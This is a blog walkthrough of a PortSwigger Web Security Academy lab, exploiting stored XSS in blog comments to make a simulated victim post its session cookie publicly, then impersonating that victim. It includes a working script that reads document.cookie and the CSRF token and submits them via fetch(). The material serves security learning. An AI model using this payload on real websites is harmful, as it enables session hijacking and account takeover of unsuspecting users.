Exploiting XSS to Steal Cookies(Portswigger Web Security Academy)
Hello, welcome to my first blog on medium. In this blog, I will guide you on how to do XSS to steal cookie (without using burp collaborator).
Disclaimer:
- The lab I’m using here is from Portswigger Web Security Academy. Here is the lab that’s used in this blog: XSS lab.
- I’m not doing this on my own. Big thanks to Khalid143 on Cybr discord server for helping me figure out how to do this.
- Other people may have already found out how to do this before I did, so I want to say that I’m not the one who develop/made this attack technique.
Lab description:
“This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.”
There is also a note on the lab’s :
“To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you should use Burp Collaborator’s default public server (burpcollaborator.net).”
Now, here is what’s interesting:
“Some users will notice that there is an alternative solution to this lab that does not require Burp Collaborator. However, it is far less subtle than exfiltrating the cookie.”
Okay, that’s interesting. We can steal the victim’s cookie without using Burp Collaborator.
Let’s jump right into the lab..
Oh, wait a minute. Before you continue reading this blog, I hope you already know XSS. I won’t cover what XSS is here. If you don’t know about XSS, you can read about it on Portswigger Web Security Academy.
From what I read on the lab’s description, the vulnerability is in the blog comments function. So, let’s take a look at the comment function.
So, there is a “Comments” section on each post. At the bottom of “Comments” section, you can see there is “Leave a comment” section. Let’s take a closer look at it.
There, we can see several input fields. Now, by seeing all of this we could know that what we type in “Comment” & “Name” field will be displayed on the “Comments” section. Let’s check if either of them is vulnerable to XSS by using a simple payload:
<img src=0 onerror=print()>
The above payload will insert an html image tag with image source of 0 (which will trigger an error when loading the image since 0 refers to nothing). If the image cannot be loaded, it will execute a JavaScript function called print(). This print() function will then open a pop-up window to print the content of the current window.
Using that payload on “Comment” field:
After I clicked on the “Post Comment” button, I got redirected to another page telling me that my comment has been submitted.
When I clicked “< Back to blog” button, a print pop up window came out.
With this, I have verified that the “Comment” field is vulnerable to XSS!
Now that we have known which part is vulnerable to XSS, we can do several things, like exfiltrate the victim’s session cookie to our collaborator server. But instead of doing that, I want to make the victim post their session cookie to the “Comments” section.
To get session cookie, we are going to use:
document.cookie;
Now, let’s take a look at the POST request when we post a comment. You can do this using Burp Suite by intercepting the request or seeing the HTTP history (I’m going to use this one).
Take a look at the body of the POST request. There, you can see postId, comment, name, email, and website. But wait a minute, how can we determine the csrf value??
Well, I can determine the csrf value using:
document.getElementsByTagName(“input”)[0].getAttribute(“value”);
But how could I know that script will return csrf value? Here is the explanation:
- View the page source and scroll down to line 100
- You can see there are several input there, including hidden csrf value.
- Using document.getElementsByTagName(“input”), I can retrieve all html code that are using <input> tag. Since there are several <input> tags, I need to specify which one I want to retrieve. I did this using [0], since csrf value is on the first input tag. If it’s on the second input tag, you can use [1].
- Using getAttribute(“value”), I could retrieve the “value” of csrf input field.
You can try that script on console, to make sure everything works.
Now that we have got everything we need, we can build the script to make the victim post their cookie on the “Comments” section. To do this, I’m going to use fetch(), using the POST method.
Here is the script:
<script>
window.onload = function () {
var data = “csrf=” + document.getElementsByTagName(“input”)[0].getAttribute(“value”) + “&postId=9&comment=” + document.cookie + “&name=hacker&email=test@test.com&website”
fetch(‘https://lab-id.web-security-academy.net/post/comment', {
method: ‘POST’,
mode: ‘no-cors’,
body: (data)
});
};
</script>
- The script above will execute a function after the webpage has completely loaded (using window.onload). Without using window.onload, csrf value could be undefined since it’s not loaded yet when the script got executed.
- On the function, we declare a variable called “data” and set csrf value, postId, comment (with session cookie as the value), name, email, and website.
- After declaring the variable, we use fetch() to make a POST request to post a comment, with (data) variable’s value as the body.
Note: Make sure you type the correct postId, so you won’t find any trouble looking for the victim’s comment.
That’s it, let’s post the malicious comment.
After I clicked Post Comment, the comment got submitted!!
When I clicked “< Back to blog” button, I can immediately see the victim’s session cookie!
Now, you can grab the cookie and use the victim’s cookie to impersonate the victim and the lab is solved.
Okay!! I think that’s it for this blog. I’m sorry if my grammar is bad, but I hope you enjoy this blog. See you on the next blog!
